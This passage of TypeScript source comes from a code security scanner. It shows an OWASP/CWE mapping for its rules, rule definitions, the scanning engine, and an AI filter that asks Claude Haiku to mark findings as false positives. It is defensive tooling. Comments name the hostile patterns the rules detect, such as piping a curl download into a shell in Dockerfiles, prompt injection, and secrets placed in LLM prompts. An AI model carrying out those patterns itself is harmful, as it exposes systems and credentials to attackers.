\"A07:2021\", cwe: \"CWE-598\" },\n VC147: { owasp: \"A09:2021\", cwe: \"CWE-532\" },\n VC148: { owasp: \"A09:2021\", cwe: \"CWE-209\" },\n VC149: { owasp: \"A07:2021\", cwe: \"CWE-798\" },\n VC150: { owasp: \"A07:2021\", cwe: \"CWE-615\" },\n VC151: { owasp: \"A07:2021\", cwe: \"CWE-214\" },\n // VC152–VC158: New rules\n VC152: { owasp: \"A08:2021\", cwe: \"CWE-345\" },\n VC153: { owasp: \"A05:2021\", cwe: \"CWE-942\" },\n VC154: { owasp: \"A03:2021\", cwe: \"CWE-20\" },\n VC155: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC156: { owasp: \"A04:2021\", cwe: \"CWE-770\" },\n VC157: { owasp: \"A05:2021\", cwe: \"CWE-1327\" },\n VC158: { owasp: \"A01:2021\", cwe: \"CWE-639\" },\n // VC159–VC183: Additional service-specific API key detection.\n // All map to A07:2021 (Identification & Auth Failures) / CWE-798 (Hardcoded\n // Credentials), matching the existing VC132–VC145 cluster.\n VC159: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Cohere\n VC160: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Replicate\n VC161: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Mistral\n VC162: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Together AI\n VC163: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Groq\n VC164: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Fireworks AI\n VC165: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Postmark\n VC166: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Resend\n VC167: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Loops\n VC168: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Cloudflare\n VC169: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Fastly\n VC170: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Netlify\n VC171: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Railway\n VC172: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Fly.io\n VC173: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Algolia admin key\n VC174: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Qdrant\n VC175: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Weaviate\n VC176: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Linear\n VC177: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Notion\n VC178: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Discord bot token\n VC179: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Intercom\n VC180: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Sentry auth token\n VC181: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Logtail / Better Stack\n VC182: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Highlight\n VC183: { owasp: \"A07:2021\", cwe: \"CWE-798\" }, // Plivo\n // VC184–VC187: GitHub Actions workflow security\n VC184: { owasp: \"A08:2021\", cwe: \"CWE-829\" }, // pull_request_target + checkout PR head\n VC185: { owasp: \"A05:2021\", cwe: \"CWE-732\" }, // permissions: write-all\n VC186: { owasp: \"A03:2021\", cwe: \"CWE-78\" }, // expression injection in run:\n VC187: { owasp: \"A08:2021\", cwe: \"CWE-829\" }, // third-party action receiving secrets\n // VC188–VC190: Dockerfile hardening\n VC188: { owasp: \"A05:2021\", cwe: \"CWE-1357\" }, // ADD instead of COPY\n VC189: { owasp: \"A08:2021\", cwe: \"CWE-494\" }, // RUN curl|sh\n VC190: { owasp: \"A04:2021\", cwe: \"CWE-754\" }, // missing HEALTHCHECK\n // VC191–VC197: Python-specific security gaps\n VC191: { owasp: \"A02:2021\", cwe: \"CWE-295\" }, // requests verify=False\n VC192: { owasp: \"A03:2021\", cwe: \"CWE-79\" }, // Jinja2 autoescape=False\n VC193: { owasp: \"A04:2021\", cwe: \"CWE-377\" }, // tempfile.mktemp TOCTOU\n VC194: { owasp: \"A03:2021\", cwe: \"CWE-79\" }, // Django mark_safe\n VC195: { owasp: \"A02:2021\", cwe: \"CWE-295\" }, // paramiko AutoAddPolicy\n VC196: { owasp: \"A05:2021\", cwe: \"CWE-20\" }, // ALLOWED_HOSTS wildcard\n VC197: { owasp: \"A02:2021\", cwe: \"CWE-347\" }, // PyJWT no algorithm allowlist\n // VC198–VC203: AI / LLM-specific security\n VC198: { owasp: \"A03:2021\", cwe: \"CWE-94\" }, // prompt injection via user input\n VC199: { owasp: \"A03:2021\", cwe: \"CWE-94\" }, // system-prompt injection\n VC200: { owasp: \"A03:2021\", cwe: \"CWE-79\" }, // LLM output as raw HTML (XSS)\n VC201: { owasp: \"A01:2021\", cwe: \"CWE-639\" }, // vector-store query without user filter\n VC202: { owasp: \"A01:2021\", cwe: \"CWE-639\" }, // vector-store upsert without user metadata\n VC203: { owasp: \"A04:2021\", cwe: \"CWE-770\" }, // LLM call without max_tokens\n // VC204–VC206: GraphQL server hardening\n VC204: { owasp: \"A04:2021\", cwe: \"CWE-770\" }, // no query depth limit\n VC205: { owasp: \"A04:2021\", cwe: \"CWE-770\" }, // no query complexity limit\n VC206: { owasp: \"A01:2021\", cwe: \"CWE-352\" }, // Apollo csrfPrevention: false\n // VC207–VC208: AI/LLM data-flow\n VC207: { owasp: \"A03:2021\", cwe: \"CWE-94\" }, // model output → code/cmd/query/fs sink\n VC208: { owasp: \"A09:2021\", cwe: \"CWE-532\" }, // secret interpolated into LLM prompt\n // VC209–VC210: advisory heuristics\n VC209: { owasp: \"A04:2021\", cwe: \"CWE-799\" }, // webhook missing idempotency\n VC210: { owasp: \"A01:2021\", cwe: \"CWE-862\" }, // middleware matcher excludes /api\n // VC211–VC212: hardcoded sensitive personal data (PII) in source\n VC211: { owasp: \"A02:2021\", cwe: \"CWE-540\" }, // hardcoded credit card number\n VC212: { owasp: \"A02:2021\", cwe: \"CWE-540\" }, // hardcoded US SSN\n // VC213–VC214: account state held in browser storage\n VC213: { owasp: \"A01:2021\", cwe: \"CWE-602\" }, // entitlement from web storage (client-side enforcement)\n VC214: { owasp: \"A04:2021\", cwe: \"CWE-1188\" }, // per-account state from web storage (insecure default state)\n};\n\n// ────────────────────────────────────────────\n// VC097 – Console.log in Production\n// ────────────────────────────────────────────\n\nexport const consoleLogProduction: CustomRule = {\n id: \"VC097\",\n title: \"Console.log Left in Production Code\",\n // Demoted from \"low\" to \"info\" 2026-05-11. This is a code-hygiene\n // signal (leaked debug logs, occasionally PII), not a security\n // vulnerability in the OWASP sense. Was inflating severity counts\n // on real codebases (11+ hits on vibecheck's own scan), drowning\n // the actual security signal.\n severity: \"info\",\n category: \"Performance\",\n description: \"console.log statements left in production code can leak sensitive data, slow down rendering, and clutter browser consoles.\",\n check(content, filePath) {\n if (isTestFile(filePath)) return [];\n // Skip server-side scripts, migration files, CLI tools, and seed files\n if (/(?:migrate|seed|script|cli|setup|dev)\\./i.test(filePath)) return [];\n if (!/console\\.log\\s*\\(/g.test(content)) return [];\n const lines = content.split(\"\\n\");\n const logCount = lines.filter(l => /console\\.log\\s*\\(/.test(l.trim()) && !l.trim().startsWith(\"//\")).length;\n // If a file has many console.logs, it's intentional logging, not forgotten debug statements\n if (logCount > 5) return [];\n const matches: RuleMatch[] = [];\n for (let i = 0; i < lines.length; i++) {\n const line = lines[i].trim();\n if (/console\\.log\\s*\\(/.test(line) && !line.startsWith(\"//\") && !line.startsWith(\"*\") && !/if\\s*\\(\\s*(?:debug|process\\.env)/i.test(lines[Math.max(0, i-1)] + line)) {\n matches.push({ rule: \"VC097\", title: consoleLogProduction.title, severity: \"low\" as const, category: \"Performance\", file: filePath, line: i + 1, snippet: getSnippet(content, i + 1), fix: \"Remove console.log or use a structured logger that can be disabled in production.\" });\n }\n }\n return matches.slice(0, 1); // Max 1 per file to avoid noise\n },\n};\n\n// ────────────────────────────────────────────\n// VC103 – TODO/FIXME Left in Code\n// ────────────────────────────────────────────\n\nexport const todoLeftInCode: CustomRule = {\n id: \"VC103\",\n title: \"TODO/FIXME Left in Code\",\n severity: \"low\",\n category: \"Code Quality\",\n description: \"TODO, FIXME, HACK, and XXX comments indicate unfinished work that should be resolved before shipping to production.\",\n check(content, filePath) {\n if (filePath.match(/test|spec|mock|__tests__|fixture|node_modules/i)) return [];\n return findMatches(content, /\\/\\/\\s*(?:TODO|FIXME|HACK|XXX)\\b/gi, todoLeftInCode, filePath, () =>\n \"Resolve TODO/FIXME comments before shipping. If it's intentional tech debt, track it in your issue tracker instead.\"\n ).slice(0, 5);\n },\n};\n\n// ────────────────────────────────────────────\n// VC104 – Empty Catch Block\n// ────────────────────────────────────────────\n\nexport const emptyCatchBlock: CustomRule = {\n id: \"VC104\",\n title: \"Empty Catch Block\",\n // Demoted from \"medium\" to \"info\" 2026-05-11. Already a Code-Quality\n // category — empty catch blocks are a maintainability concern, not a\n // security vulnerability. Worth flagging, not worth counting as a\n // security \"medium\" alongside actual SQL-injection / XSS findings.\n severity: \"info\",\n category: \"Code Quality\",\n description: \"Empty catch blocks silently swallow errors, making bugs impossible to diagnose. At minimum, log the error.\",\n check(content, filePath) {\n if (filePath.match(/test|spec|mock/i)) return [];\n return findMatches(content, /catch\\s*(?:\\([^)]*\\))?\\s*\\{\\s*\\}/g, emptyCatchBlock, filePath, () =>\n \"Handle errors in catch blocks: catch(err) { console.error('Operation failed:', err); } or re-throw if appropriate.\"\n );\n },\n};\n\n// ────────────────────────────────────────────\n// VC146–VC151: SECRET EXPOSURE PATH ANALYSIS\n// Detects when secrets are used in ways that amplify exposure.\n// ────────────────────────────────────────────\n\nconst SECRET_VAR_RE = /(?:api[_-]?key|apikey|api[_-]?secret|secret[_-]?key|access[_-]?token|auth[_-]?token|private[_-]?key|password|passwd|pwd|credentials|client[_-]?secret|app[_-]?secret|master[_-]?key)/i;\n\n// ────────────────────────────────────────────\n// RULE TIERS: FREE (30 rules, here) + PRO (184 rules, NOT here)\n// The Pro rules live in packages/pro-rules, a private workspace package that\n// is never published. Do not add a Pro rule to this file.\n// ────────────────────────────────────────────\n\n// Free tier: core security rules available to everyone (30 of 214)\nexport const freeRules: CustomRule[] = [\n hardcodedSecrets, // VC001\n exposedEnvFile, // VC002\n missingAuthMiddleware, // VC003\n supabaseNoRLS, // VC004\n stripeWebhookUnprotected, // VC005\n sqlInjection, // VC006\n xssVulnerability, // VC007\n noRateLimiting, // VC008\n corsWildcard, // VC009\n clientSideAuth, // VC010\n nextPublicSecret, // VC011\n envNotGitignored, // VC014\n evalUsage, // VC015\n unvalidatedRedirect, // VC016\n insecureCookies, // VC017\n exposedAuthSecret, // VC018\n missingCSP, // VC020\n hardcodedJWTSecret, // VC031\n missingHTTPS, // VC032\n exposedDebugMode, // VC033\n insecureRandomness, // VC034\n missingErrorBoundary, // VC036\n exposedStackTraces, // VC037\n missingLockFile, // VC039\n dangerousInnerHTML, // VC063\n consoleLogProduction, // VC097\n emptyCatchBlock, // VC104\n todoLeftInCode, // VC103\n weakHashing, // VC060\n disabledTLSVerification, // VC061\n];\n\n// Pro rules are delivered server-side — not shipped in npm package.\n// See: /api/cli/rules-bundle endpoint, built from packages/pro-rules.\nexport const allRules = freeRules;\n\nexport function runCustomRules(\n content: string,\n filePath: string,\n disabledRules: string[] = [],\n tier: \"free\" | \"pro\" = \"free\",\n extraRules: CustomRule[] = [],\n /**\n * Cross-file facts for the project being scanned, from\n * buildProjectContext(). Optional: callers that scan a single file with no\n * project around it (the MCP server, the editor extension, a pasted\n * snippet) pass nothing, and every rule must still work.\n */\n project?: ProjectContext,\n): Finding[] {\n const findings: Finding[] = [];\n\n // Skip files that ARE security scanners (avoid scanning ourselves)\n if (/function runScan\\(files\\)|export function runCustomRules/.test(content) && /const (?:rules|allRules)\\s*[:=]/.test(content) && /findMatches/.test(content)) {\n return findings;\n }\n\n // Skip compiled bundles (pro-rules-bundle.cjs, webpack output, etc.)\n if (/pro-rules-bundle|\\.bundle\\./i.test(filePath)) return findings;\n\n // Skip minified / generated / data-blob content. No human-authored source\n // has a single line anywhere near this long; files that do are minified\n // bundles, generated output, or embedded data — none of which the\n // line-oriented regex rules can meaningfully scan, and all of which are the\n // exact shape that makes a catastrophic-backtracking regex (or sheer match\n // volume) burn super-linear CPU. This is the systemic backstop for the\n // ReDoS / CPU-DoS class on the public scan endpoint: it bounds the worst\n // case for EVERY rule — including any vulnerable regex not yet individually\n // hardened — regardless of payload (security review, June 2026). The\n // per-regex bounds and the memoized line index keep genuinely-large-but-\n // legitimate lines scannable below this threshold.\n let maxLineLen = 0;\n {\n let lineStart = 0;\n for (let i = 0; i <= content.length; i++) {\n if (i === content.length || content.charCodeAt(i) === 10 /* \\n */) {\n if (i - lineStart > maxLineLen) maxLineLen = i - lineStart;\n lineStart = i + 1;\n }\n }\n }\n if (maxLineLen > 50_000) return findings;\n\n // Skip files that contain intentional example/demo vulnerable code\n // (blog code samples, documentation examples, demo payloads).\n //\n // `onboarding` USED TO BE IN THIS LIST and was removed: it is an ordinary\n // product word, not a demo marker. Matching it meant every file under an\n // `onboarding/` directory — a feature area in most SaaS apps — was skipped by\n // EVERY rule, silently. The hole was found when a new rule written for a bug\n // in `components/onboarding.tsx` could not fire on the file it was written\n // for.\n //\n // The remaining three are demo markers rather than domain words. A project\n // whose own onboarding file really does embed sample vulnerable code says so\n // in `.xploitscanignore`, which is the mechanism built for this and which\n // this repository already uses for `sample-project.ts`, `DemoScanner.tsx`\n // and `demo-data.ts`. That keeps the exemption explicit and local instead of\n // charging every user for it.\n if (/demo-data|example-vulnerable|code-sample/i.test(filePath)) return findings;\n\n // Vendored / generated / documentation code is still scanned and still\n // reported — the label only holds these findings out of the grade. See\n // vendored.ts. Computed once per file rather than per match.\n const vendoredFile = isVendoredPath(filePath);\n\n // Free tier uses bundled rules; Pro tier uses free + server-delivered extra rules\n const ruleset = tier === \"pro\" && extraRules.length > 0\n ? [...freeRules, ...extraRules]\n : freeRules;\n // Split once per file, and only when the file contains a marker at all.\n // Doing it per match would be O(content x matches) — the same shape as the\n // CPU-DoS that the incremental line counter in findMatches exists to avoid.\n // Practically every file has no marker, so one substring test buys the split\n // for the few that do.\n const silenceableLines = /-OK\\b/i.test(content) ? content.split(\"\\n\") : null;\n\n for (const rule of ruleset) {\n if (disabledRules.includes(rule.id)) continue;\n\n const matches = rule.check(content, filePath, project);\n const compliance = complianceMap[rule.id];\n // Secret-class rules are graded wherever they fire, so they must not carry\n // the \"not graded\" label either — the badge and the score have to agree.\n // isVendoredFinding is the single predicate both sides go through.\n const vendored = vendoredFile && isVendoredFinding({ file: filePath, rule: rule.id, category: rule.category });\n for (const match of matches) {\n // Inline suppression, for EVERY rule.\n //\n // `// VC044-OK: reason` and the `scanner-OK` wildcard were documented on\n // the docs page and in the changelog as a general mechanism, and they\n // were not one: rules opted in individually, so the marker worked on 18\n // of 214 and did nothing at all on the rest — silently. That is the worst\n // failure a suppression mechanism has: the developer writes the comment,\n // has it reviewed, and the finding is still there with no explanation.\n //\n // Here rather than per rule, and here rather than in findMatches,\n // because this is where every match from every source — regex, AST, and\n // hand-written check() functions alike — becomes a Finding. A rule can\n // no longer be absent from a list, because there is no list. The hosted\n // API's runScan (packages/api) calls rule.check itself and repeats this\n // check; keep the two in step.\n //\n // The rules that already call isInlineSilenced themselves are now\n // double-checking, which costs nothing and is left alone: removing those\n // calls would be a second edit across 25 sites for no behaviour change.\n if (silenceableLines && isLineSilenced(silenceableLines, match.line - 1, match.rule)) {\n continue;\n }\n\n findings.push({\n ...(vendored ? { vendored: true } : {}),\n id: `${match.rule}-${match.file}:${match.line}`,\n rule: match.rule,\n severity: match.severity,\n title: match.title,\n description: rule.description,\n file: match.file,\n line: match.line,\n column: match.column,\n snippet: match.snippet,\n fix: match.fix,\n category: match.category,\n source: \"custom\",\n owasp: compliance?.owasp,\n cwe: compliance?.cwe,\n });\n }\n }\n\n return findings;\n}\n","/**\n * Rule-set sizes as plain numbers, importable without dragging the rules in.\n *\n * WHY THIS FILE EXISTS — read before \"simplifying\" it back to `.length`.\n *\n * The CLI needs to tell a free user how many rules Pro unlocks. The obvious\n * way is `allCustomRules.length`. Doing exactly that shipped **63 Pro-only\n * rule definitions into the published free CLI bundle** in v1.3.3: tsup marks\n * shared-rules `noExternal`, so importing the array inlines every regex, check\n * body and fix string it contains. v1.3.2's executable JS had zero Pro-range\n * rule IDs; v1.3.3's had 63, and the main chunk grew 1.7MB -> 1.9MB.\n *\n * `rules.ts` states the rule plainly: \"Pro rules are delivered server-side —\n * not shipped in npm package.\" A count is a number, and a number is all the\n * CLI should have to import to print one.\n *\n * Since 2.0.0 the Pro rules are not in this package at all — they live in the\n * private packages/pro-rules — so this package CANNOT compute 184 or 214: the\n * arrays those numbers describe do not exist here. Literals are the only way\n * to publish them.\n *\n * So: literals here, and packages/pro-rules/src/rule-counts.test.ts asserts\n * each one equals the real array's length. The value is *derived at test time*\n * and *shipped as a constant* — drift fails CI instead of reaching npm, and\n * nothing in this file references a rule.\n *\n * THIS FILE MUST NOT IMPORT FROM ./rules.js. That import is the entire bug.\n */\n\n/** Rules any caller gets, including anonymous and free-tier CLI users. */\nexport const FREE_RULE_COUNT = 30;\n\n/** Rules gated behind a paid plan and served from the API, never bundled. */\nexport const PRO_RULE_COUNT = 184;\n\n/** The full catalog. FREE_RULE_COUNT + PRO_RULE_COUNT, asserted in the test. */\nexport const TOTAL_RULE_COUNT = 214;\n","import Anthropic from \"@anthropic-ai/sdk\";\nimport { MODEL_TRIAGE, MODEL_TEMPERATURE } from \"./models.js\";\nimport type { Finding } from \"./types.js\";\n\n/**\n * AI-powered false positive filter.\n *\n * Takes findings from the regex/entropy scanners and asks Claude Haiku\n * to classify each one as \"real\" or \"false positive\" based on the\n * surrounding code context. Findings marked FP are removed before the\n * user sees them, but preserved in filteredFindings so users can\n * review the AI's decisions.\n */\n\nconst REVIEW_SYSTEM_PROMPT = `You are reviewing security scan findings for false positives. Your job is to look at each finding and the surrounding code to determine if it's a REAL security vulnerability or a FALSE POSITIVE.\n\nCommon false positive patterns you should catch:\n- Auth check exists inside the function body (requireUser, requireUserForApi, getSession, etc.) but the scanner only checked the function signature\n- The flagged pattern is in example/documentation/tutorial code, not production code\n- The variable is developer-controlled (constants, config values, static strings), not user input\n- The flagged function is a database method (conn.exec, db.exec, prisma.$executeRaw) not a shell command (child_process.exec)\n- The comparison is a type check (typeof x === \"string\") not a secret comparison\n- The file is a test, mock, or fixture file\n- The \"secret\" is a publishable/public key (pk_test_, NEXT_PUBLIC_CLERK_PUBLISHABLE_KEY) designed to be client-side\n- The value is a slot/name identifier, not a credential: a SCREAMING_CASE *_KEY constant assigned a short lowercase word string (e.g. INDEX_KEY = \"mc_saves_index\", CACHE_KEY = \"user-prefs-v2\") is a localStorage/cookie/cache key NAME, not a secret. Real secrets are high-entropy and mixed-case (sk_live_aBcD…), not dictionary words joined by - or _\n- The innerHTML/dangerouslySetInnerHTML uses a static constant or JSON.stringify, not user input\n- The redirect URL has already been validated (isAllowedRedirect, validateRedirect)\n- The webhook endpoint is for a non-Stripe service but flagged as \"Stripe webhook\"\n- The \"sensitive data in URL\" is in a comment or documentation, not actual code\n- Package-lock.json URLs flagged as secrets (they're npm registry URLs, not secrets)\n\nFor each finding, respond ONLY with a JSON array. No other text.\nEach element: {\"index\": <number>, \"verdict\": \"real\" or \"fp\", \"reason\": \"<1 sentence>\"}`;\n\nconst MAX_FINDINGS_PER_BATCH = 15;\nconst MAX_CONTEXT_LINES = 10;\n/**\n * Cap on findings reviewed by the AI filter per scan. Findings are batched\n * PER FILE at MAX_FINDINGS_PER_BATCH, so the number of Haiku calls scales\n * with the count of distinct files that have findings — best case ~ceil(N/15)\n * when they cluster in a few files, worst case ~N when spread one-per-file\n * (bounded by this cap either way). At Haiku pricing that's pennies per scan\n * — worth it to dramatically cut FP noise on real-world repos.\n *\n * The old default of 50 was set when the typical scan was a small fixture\n * or PR diff. Real-codebase scans easily produce 500+ raw findings, and\n * a 50-cap meant the filter reviewed <10% of them — basically useless\n * once the codebase grew. 200 covers most monorepos completely; users\n * with truly massive codebases can override via env var.\n */\nconst DEFAULT_MAX_TOTAL_FINDINGS = 200;\nconst MAX_TOTAL_FINDINGS = (() => {\n const raw = process.env.XPLOITSCAN_AI_FILTER_MAX;\n if (!raw) return DEFAULT_MAX_TOTAL_FINDINGS;\n const n = parseInt(raw, 10);\n if (!Number.isFinite(n) || n < 1) return DEFAULT_MAX_TOTAL_FINDINGS;\n return Math.min(n, 1000); // hard ceiling so a runaway env var can't burn through API budget\n})();\n\n/**\n * How many Haiku review calls run at once. The filter makes one call per file\n * (findings batched at MAX_FINDINGS_PER_BATCH), and the calls are independent\n * — each writes only to fpMap keyed by global finding index, so order doesn't\n * matter. Running them sequentially made wall-clock scale linearly with the\n * number of files that have findings (a 41-file scan = ~40 back-to-back ~1s\n * round-trips). A bounded pool cuts that to roughly sum / MAX_CONCURRENT while\n * staying well under Haiku's rate limits. Override via env if you hit limits.\n */\nconst DEFAULT_MAX_CONCURRENT = 6;\nconst MAX_CONCURRENT = (() => {\n const raw = process.env.XPLOITSCAN_AI_CONCURRENCY;\n if (!raw) return DEFAULT_MAX_CONCURRENT;\n const n = parseInt(raw, 10);\n if (!Number.isFinite(n) || n < 1) return DEFAULT_MAX_CONCURRENT;\n return Math.min(n, 20); // ceiling so we don't trip provider rate limits\n})();\n\n/**\n * Priority order for AI review when total findings exceed the cap. We want\n * to always review critical findings first (those are what the user acts\n * on), then high, then medium, then low. Without this sort the filter\n * picks the first N findings in scanner-output order, which is\n * essentially arbitrary — a critical AKIA-pattern hit can lose its review\n * slot to a low-severity \"console.log left in code\" finding that happened\n * to be emitted earlier.\n */\nconst SEVERITY_PRIORITY: Record<string, number> = {\n critical: 0,\n high: 1,\n medium: 2,\n low: 3,\n info: 4,\n};\n\ninterface ReviewResult {\n index: number;\n verdict: \"real\" | \"fp\";\n reason: string;\n}\n\nexport interface FilteredFinding {\n finding: Finding;\n reason: string;\n}\n\nexport interface AIFilterResult {\n findings: Finding[];\n filteredFindings: FilteredFinding[];\n aiReviewed: boolean;\n removedCount: number;\n totalBefore: number;\n /**\n * Findings that were NOT AI-reviewed because their batch's model call\n * failed (e.g. a burst of 429s), even though other batches succeeded.\n * 0 on a full review. Lets the UI honestly say \"partially reviewed\"\n * instead of labeling unreviewed findings as AI-verified. Does NOT count\n * findings skipped by the MAX_TOTAL_FINDINGS cap — that's by design, not\n * a failure.\n */\n unreviewedCount: number;\n}\n\nfunction getExpandedContext(content: string, line: number, contextLines: number = MAX_CONTEXT_LINES): string {\n const lines = content.split(\"\\n\");\n const start = Math.max(0, line - 1 - contextLines);\n const end = Math.min(lines.length, line + contextLines);\n return lines.slice(start, end).map((l, i) => {\n const lineNum = start + i + 1;\n const marker = lineNum === line ? \">>>\" : \" \";\n return `${marker} ${lineNum} | ${l}`;\n }).join(\"\\n\");\n}\n\nfunction buildReviewPrompt(findings: Finding[], fileContent: string): string {\n const parts: string[] = [];\n for (let i = 0; i < findings.length; i++) {\n const f = findings[i];\n const context = getExpandedContext(fileContent, f.line);\n parts.push(`--- Finding ${i} ---\nRule: ${f.rule} (${f.title})\nSeverity: ${f.severity}\nFile: ${f.file}\nLine: ${f.line}\nDescription: ${f.description}\nSuggested fix: ${f.fix || \"N/A\"}\n\nCode context:\n${context}\n`);\n }\n return `Review these ${findings.length} security scan findings. For each one, determine if it's a real vulnerability or a false positive based on the code context.\\n\\n${parts.join(\"\\n\")}`;\n}\n\nfunction parseReviewResponse(text: string): ReviewResult[] {\n try {\n const cleaned = text.replace(/```json\\n?/g, \"\").replace(/```\\n?/g, \"\").trim();\n const parsed = JSON.parse(cleaned);\n if (!Array.isArray(parsed)) return [];\n return parsed.filter(\n (r: unknown): r is ReviewResult =>\n typeof r === \"object\" && r !== null &&\n \"index\" in r && \"verdict\" in r &&\n ((r as ReviewResult).verdict === \"real\" || (r as ReviewResult).verdict === \"fp\")\n );\n } catch {\n return [];\n }\n}\n\n/**\n * Filter false positives from findings using Claude Haiku.\n *\n * Returns filtered findings, the removed findings with AI reasons,\n * and metadata about what the AI did.\n */\nexport async function filterFalsePositives(\n findings: Finding[],\n fileContents: Map<string, string>,\n): Promise<AIFilterResult> {\n const empty: AIFilterResult = { findings, filteredFindings: [], aiReviewed: false, removedCount: 0, totalBefore: findings.length, unreviewedCount: 0 };\n if (!process.env.ANTHROPIC_API_KEY) return empty;\n if (findings.length === 0) return empty;\n\n // Sort by severity priority before slicing so the cap always preserves\n // critical/high findings. Ties broken by stable order (sort isn't\n // guaranteed stable across engines but Node's V8 has been stable since\n // ~2018; an unstable tie-break only affects which findings within the\n // same severity bucket get reviewed, not whether criticals get reviewed\n // at all). Original ordering preserved for the OUTPUT (we rebuild the\n // findings array later from fpMap lookups, not from this sorted copy).\n const prioritized = [...findings].sort((a, b) => {\n const pa = SEVERITY_PRIORITY[(a.severity || \"\").toLowerCase()] ?? 5;\n const pb = SEVERITY_PRIORITY[(b.severity || \"\").toLowerCase()] ?? 5;\n return pa - pb;\n });\n const toReview = prioritized.slice(0, MAX_TOTAL_FINDINGS);\n const overflow = prioritized.slice(MAX_TOTAL_FINDINGS);\n const totalBefore = findings.length;\n\n const byFile = new Map<string, Finding[]>();\n for (const f of toReview) {\n const group = byFile.get(f.file) || [];\n group.push(f);\n byFile.set(f.file, group);\n }\n\n let client: Anthropic;\n try {\n client = new Anthropic();\n } catch {\n return empty;\n }\n\n // Track which findings are FP and why\n const fpMap = new Map<number, string>(); // globalIndex → reason\n\n // A batch counts as reviewed only if the model actually responded and we\n // parsed it. If EVERY call fails (out of credits, invalid key, API down),\n // reviewedAny stays false — we must not claim the findings were reviewed,\n // or the \"AI verified\" banner would lie and unreviewed findings would ship\n // as if confirmed. See the caller: aiReviewed:false → aiReview:null.\n let reviewedAny = false;\n let firstError: unknown = null;\n let failedBatches = 0;\n let unreviewedCount = 0; // findings whose batch call failed\n\n // Build the review tasks — one Haiku call per batch — then run them through\n // a bounded concurrency pool below. Collecting first (rather than calling\n // inline) lets independent per-file calls overlap instead of running\n // strictly one-after-another.\n const tasks: { batch: Finding[]; content: string }[] = [];\n for (const [file, fileFindings] of byFile) {\n const content = fileContents.get(file);\n if (!content) continue;\n for (let i = 0; i < fileFindings.length; i += MAX_FINDINGS_PER_BATCH) {\n tasks.push({ batch: fileFindings.slice(i, i + MAX_FINDINGS_PER_BATCH), content });\n }\n }\n\n const reviewBatch = async (task: { batch: Finding[]; content: string }): Promise<void> => {\n const { batch, content } = task; // destructure can't throw\n // buildReviewPrompt and the model call are inside the try so a single\n // throwing/failing batch degrades to \"unreviewed\" instead of rejecting\n // Promise.all and aborting every other in-flight worker.\n try {\n const prompt = buildReviewPrompt(batch, content);\n const response = await client.messages.create(\n {\n model: MODEL_TRIAGE,\n max_tokens: 1024,\n // Pinned, NOT left to the API default of 1.0. This is a binary\n // classification (real vs. false positive), not generation — there\n // is no upside to sampling variety and a real downside to it: a\n // filtered finding is a finding the user never sees, so drift here\n // means scanning the same unchanged code twice can yield different\n // results. Temperature 0 does not make the model bit-deterministic\n // (Anthropic makes no such guarantee), but it removes the one\n // variance source that was ours to control. See\n // scripts/fp-filter-repeatability.cjs for the measured flip rate,\n // and the assertion in ai-fp-filter.test.ts that keeps it pinned.\n temperature: MODEL_TEMPERATURE,\n system: REVIEW_SYSTEM_PROMPT,\n messages: [{ role: \"user\", content: prompt }],\n },\n // Cap a single call well under any serverless function timeout — the\n // SDK default is 10 minutes, long enough for one hung connection to\n // hold a worker until the platform SIGKILLs the whole scan request\n // (which would skip the graceful-degradation fallback). A timeout\n // turns a stuck batch into an unreviewed batch, handled below.\n { timeout: 20_000 },\n );\n\n const text = response.content\n .filter((b): b is Anthropic.TextBlock => b.type === \"text\")\n .map((b) => b.text)\n .join(\"\");\n\n const results = parseReviewResponse(text);\n reviewedAny = true;\n\n for (const r of results) {\n if (r.verdict === \"fp\" && r.index >= 0 && r.index < batch.length) {\n const globalIndex = toReview.indexOf(batch[r.index]);\n if (globalIndex !== -1) {\n fpMap.set(globalIndex, r.reason);\n }\n }\n }\n } catch (err) {\n failedBatches++;\n unreviewedCount += batch.length;\n if (!firstError) firstError = err;\n }\n };\n\n // Bounded worker pool: up to MAX_CONCURRENT workers each pull the next task\n // until the queue drains. `next++` reads-then-increments with no await in\n // between, so within Node's single-threaded event loop no two workers ever\n // claim the same task (and the shared fpMap/reviewedAny writes are likewise\n // between-await, so they don't interleave mid-update).\n let next = 0;\n const workerCount = Math.min(MAX_CONCURRENT, tasks.length);\n const workers = Array.from({ length: workerCount }, async () => {\n while (next < tasks.length) {\n const cur = next++;\n await reviewBatch(tasks[cur]);\n }\n });\n await Promise.all(workers);\n\n // Surface API failures in logs. Total failure (no batch reviewed) is the\n // credit-outage case — error level. Partial failure (some batches failed,\n // e.g. a burst of 429s) still returns aiReviewed:true, but those findings\n // were NOT reviewed, so warn: otherwise a sustained partial degradation is\n // indistinguishable from clean full reviews.\n if (firstError) {\n const msg = firstError instanceof Error ? firstError.message : String(firstError);\n if (!reviewedAny) {\n console.error(\n \"[ai-fp-filter] AI review unavailable — every model call failed; returning unreviewed findings:\",\n msg,\n );\n } else {\n console.warn(\n `[ai-fp-filter] partial AI review — ${failedBatches} of ${tasks.length} batch(es) failed; those findings were not reviewed:`,\n msg,\n );\n }\n }\n\n const filtered = toReview.filter((_, i) => !fpMap.has(i));\n const filteredFindings: FilteredFinding[] = [];\n for (const [idx, reason] of fpMap) {\n 